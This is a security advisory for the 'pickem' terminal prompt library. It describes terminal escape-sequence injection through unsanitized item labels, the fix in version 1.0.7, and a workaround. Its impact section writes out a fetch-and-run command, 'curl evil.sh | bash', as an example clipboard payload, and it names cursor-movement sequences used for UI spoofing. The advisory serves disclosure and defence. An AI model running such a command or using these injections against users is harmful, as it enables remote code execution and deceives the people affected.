pickem vulnerable to terminal escape-sequence injection via unsanitized item text

Summary

### Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway. Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive: - **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE. - **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - **BEL / C0 control flooding.** Any CLI that passes untrusted strings into pickem choices is affected. ### Patches Fixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged. ### Workarounds Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.